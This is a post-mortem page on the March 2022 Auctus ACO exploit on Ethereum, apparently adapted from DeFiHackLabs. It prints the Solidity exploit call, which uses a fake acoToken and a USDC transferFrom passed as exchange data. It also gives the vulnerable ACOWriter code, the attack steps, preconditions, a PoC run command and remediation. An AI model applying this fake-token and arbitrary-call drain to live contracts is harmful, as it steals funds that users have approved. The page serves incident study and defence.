Reproduced Exploit

Auctus (ACO) Exploit — `ACOWriter` Trusts Attacker-Supplied `acoToken` + Arbitrary `exchange` Call

Attacker passes itself as acoToken (implements minimal IACOToken surface):

Mar 2022Ethereumlogic4 min read

Loss

~$682K USDC pulled from the ACO protocol's collateral/escrow holder (0xCB32…993B)

Chain

Ethereum

Category

logic

Date

Mar 2022

Source

DeFiHackLabs

EVM Playground

Source-level debugger — step opcodes and Solidity in sync

evm-hack-analyzer

The attack is replayed in an in-browser EVM preloaded with the exact dumped fork state. The execution tree shows every call; step by Solidity line or by opcode across all depths — source, Stack, Memory, Storage, Balances (native / ERC-20 / NFT), Transient storage and Return value stay in sync. Click a tree node, opcode, or source line to jump. No backend, no live RPC.

Loading fork state…

Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2022-03-Auctus_exp in the evm-hack-registry mirror. Upstream DeFiHackLabs PoC: src/test/…/Auctus_exp.sol.


Vulnerability classes: vuln/logic/missing-validation · vuln/dependency/unsafe-external-call · vuln/access-control/untrusted-input

Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder. Full verbose trace: output.txt. Verified vulnerable source: ACOWriter.sol, ERC20Proxy.sol.


Key info#

Loss~$682K USDC pulled from the ACO protocol's collateral/escrow holder (0xCB32…993B)
Vulnerable contractACOWriter0xE7597F774fD0a15A617894dc39d45A28B97AFa4f
0x ERC20Proxy (legit path)0x95E6F48254609A6ee006F7D493c8e5fB97094ceF
Attackerthis test contract (anyone)
Chain / block / dateEthereum mainnet / 14,460,635 / Mar 2022
Bug classUntrusted input + missing validation — ACOWriter.write accepts arbitrary acoToken (trusts collateral()/strikeAsset()/mint*/balanceOf/approve/transfer) and attacker-controlled exchangeAddress + raw exchangeData for a low-level call.

TL;DR#

Attacker passes itself as acoToken (implements minimal IACOToken surface):

  • collateral()address(0) (takes 1-wei ETH "mint" branch)
  • strikeAsset()address(this) (fake strike transfer)
  • All other methods stub success

Call:

SOLIDITY
acowrite.write{value: 1}(
    address(this), 1,
    address(usdc),
    abi.encodeWithSelector(transferFrom.selector, 0xCB32…993B, msg.sender, usdc.balanceOf(0xCB32…))
);

In write_sellACOTokens:

SOLIDITY
address _collateral = IACOToken(acoToken).collateral(); // 0
if (_isEther(_collateral)) { IACOToken(acoToken).mintToPayable{value:1}(msg.sender); }

uint256 acoBalance = _balanceOfERC20(acoToken, address(this));
_approveERC20(acoToken, erc20proxy, acoBalance);           // on fake

(bool success,) = _exchange.call{value: address(this).balance}(exchangeData);
// _exchange == USDC → USDC.transferFrom(VICTIM, attacker, 682255200072)
// executes with msg.sender == ACOWriter (which held allowance)

address token = IACOToken(acoToken).strikeAsset(); // self
_transferERC20(token, msg.sender, ...);                    // fake

Logs: After exploit, USDC balance of attacker: 682255200072

Note on ERC20Proxy: Only a harmless approve(fake, proxy, 1) touches it. The drain is a direct call to the USDC contract via the unauthenticated exchange path.


Root cause#

  1. No validation that acoToken is a genuine ACO deployment. All IACOToken methods are called on attacker-controlled code.
  2. setExchange + _exchange.call{value:...}(exchangeData) is completely open — intended for 0x sales of minted ACOs but usable for arbitrary actions while the writer context (balances + approvals) is live.

Pre-existing user approvals USDC.approve(ACOWriter, ...) (required for the legitimate ERC20-collateral write path) become the spending authority for the attacker-controlled transferFrom.


Vulnerable Functions (ACOWriter.sol)#

SOLIDITY
function write(address acoToken, uint256 collateralAmount, address exchangeAddress, bytes memory exchangeData)
    nonReentrant setExchange(exchangeAddress) public payable
{
    require(msg.value > 0 && collateralAmount > 0);
    address _collateral = IACOToken(acoToken).collateral();
    if (_isEther(_collateral)) {
        IACOToken(acoToken).mintToPayable{value: collateralAmount}(msg.sender);
    } else { /* ERC20 collateral path using caller approvals */ ... }
    _sellACOTokens(acoToken, exchangeData);
}

function _sellACOTokens(address acoToken, bytes memory exchangeData) internal {
    uint256 acoBalance = _balanceOfERC20(acoToken, address(this));
    _approveERC20(acoToken, erc20proxy, acoBalance);
    (bool success,) = _exchange.call{value: address(this).balance}(exchangeData);
    require(success, "...");
    address token = IACOToken(acoToken).strikeAsset();
    ... _transferERC20(token, msg.sender, ...) ...
    if (address(this).balance > 0) msg.sender.transfer(...);
}

(See full source in sources/ACOWriter_E7597F/ACOWriter.sol + IACOToken.sol.)


Exploit Steps#

  1. Attacker contract implements lying collateral()=0, strikeAsset()=self, success stubs for mint/balance/approve/transfer.
  2. Call write{value:1}(self, 1, USDC, transferFrom(VICTIM, attacker, amt)).
  3. Writer follows ETH branch (1 wei), fakes balances/approves, performs the attacker-supplied call (USDC transferFrom succeeds because caller==ACOWriter), fakes strike transfer.
  4. Attacker receives funds.

Preconditions#

  • ACOWriter reachable.
  • Target holder has non-zero USDC balance + prior approve(ACOWriter, X).
  • 1 wei available.

Remediation#

  • Whitelist acoToken from official factory.
  • Do not derive token movement targets or perform arbitrary calls from untrusted acoToken / exchange* inputs.
  • Restrict exchangeAddress (or remove raw call) and validate exchangeData.
  • Prefer exact-amount approvals or permit flows.

How to reproduce#

BASH
_shared/run_poc.sh 2022-03-Auctus_exp -vvvvv

Result: [PASS] test() + attacker USDC balance = 682255200072.

Full trace in output.txt. Also see test/Auctus.sol (standalone AuctusDrain).


Reference: Auctus ACO ACOWriter untrusted acoToken + exchange call, Mar 2022.


Sources & further analysis#

Reproductions & code

Alerts & third-party analyses

These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.